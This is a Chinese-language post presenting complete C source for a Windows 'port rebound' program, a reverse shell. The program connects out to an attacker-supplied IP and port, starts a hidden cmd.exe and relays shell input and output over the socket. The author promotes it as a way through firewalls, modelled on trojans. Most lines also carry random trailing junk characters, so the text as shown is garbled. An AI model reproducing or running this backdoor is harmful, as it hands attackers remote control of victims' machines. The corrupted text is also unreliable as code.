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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D"fjk1  
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/* ============================== }7fzEo`g  
Rebound port in Windows NT #sv}%oV,F  
By wind,2006/7 l_2l/ff9  
===============================*/ L4u.cH J}0  
#include Q>w)b]d~c  
#include wax^iL!  
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#pragma comment(lib,"wsock32.lib") kwS[,Qy\  
[CV0sYEA  
void OutputShell(); |D'!.$7%  
SOCKET sClient; vu*{+YpH  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7n;a_Z0s$  
wc}x [cS  
void main(int argc,char **argv) =''*'a-P  
{ Y<@_d  
WSADATA stWsaData; l:#'i`;   
int nRet; slr>6o%W`  
SOCKADDR_IN stSaiClient,stSaiServer; U&$I!80.  
<A\g*ld  
if(argc != 3) JiA1yt  
{ >: @\SU  
printf("Useage:\n\rRebound DestIP DestPort\n"); kY4h-oZ  
return; [P)](8nR[  
} 5*B'e{C  
mkBQ TQGT  
WSAStartup(MAKEWORD(2,2),&stWsaData); .rDao]K  
8|hi2Qeu,c  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b3GTsX\2|  
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stSaiClient.sin_family = AF_INET; rg%m   
stSaiClient.sin_port = htons(0); D[YdPg@-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9(KffnE^  
^:O*Sx.CA  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7 X~JLvN  
{ W^H[rX}=  
printf("Bind Socket Failed!\n"); X0$?$ ta  
return; @ <'a0)n>  
} zRau/1Y0  
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stSaiServer.sin_family = AF_INET; h{)`W ]~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n2F*a  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AMK3I`=8WO  
N=8CVI  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p1z^i(  
{ QX(t@VP  
printf("Connect Error!"); k.Z?BNP  
return; f,-'eW/j  
} cZt5;"xgr]  
OutputShell(); D9r;Ys%  
} 4tapQgj24  
G6"4JTWO  
void OutputShell() ]zvOM^l~  
{ T?-K}PUcQ  
char szBuff[1024]; 7tY~8gQel  
SECURITY_ATTRIBUTES stSecurityAttributes; Hu!<GB~  
OSVERSIONINFO stOsversionInfo; B=%YD"FAv  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N,cj[6;T%  
STARTUPINFO stStartupInfo; _9/Af1 X  
char *szShell; <g8{LG0  
PROCESS_INFORMATION stProcessInformation; <S@2%%W  
unsigned long lBytesRead; ;/^O7KM-  
t{ridA}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !6s]p%{V  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qMBEJ<o  
stSecurityAttributes.lpSecurityDescriptor = 0; @c,=c+-  
stSecurityAttributes.bInheritHandle = TRUE; @oMl^UYM=  
/-3)^R2H  
.Ag)/Xm(?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Vf(n  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }-WuHh#  
wmX *n'l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Pv8AWQQJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3\P/4GK)  
stStartupInfo.wShowWindow = SW_HIDE; ~^eC?F(  
stStartupInfo.hStdInput = hReadPipe; fhQ N;7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C2 !F   
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GetVersionEx(&stOsversionInfo); -n$hm+S  
7q^a@5f BG  
switch(stOsversionInfo.dwPlatformId) w:9n/[  
{ ^`(3X  
case 1: X*:)]p(R  
szShell = "command.com"; )|S!k\^A  
break; ~eGtoEY  
default: Jz_`dLL^ w  
szShell = "cmd.exe"; qI\B;&hr(  
break; LoS%  FI  
} b=Q%Jxz?  
@,q<][q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P-\T BS_O  
}/.b@`Dh;  
send(sClient,szMsg,77,0); Y{m1\s/o  
while(1) \,b_8^  
{ [-Mfgw]i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (Yc}V  
if(lBytesRead) wQ9fPOm  
{ mY]R~:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DzvGR)>/  
send(sClient,szBuff,lBytesRead,0); n11eJEtm  
} 2` h  
else %XWb|-=  
{ EF'U`\gX  
lBytesRead=recv(sClient,szBuff,1024,0); ]P(_ d'}  
if(lBytesRead<=0) break; 7ZpU -':  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fTA%HsvU:  
} }Xy<F?Mh  
} j&=!F3[  
fYZ)5xnj  
return; '[Ch8Yf\  
}
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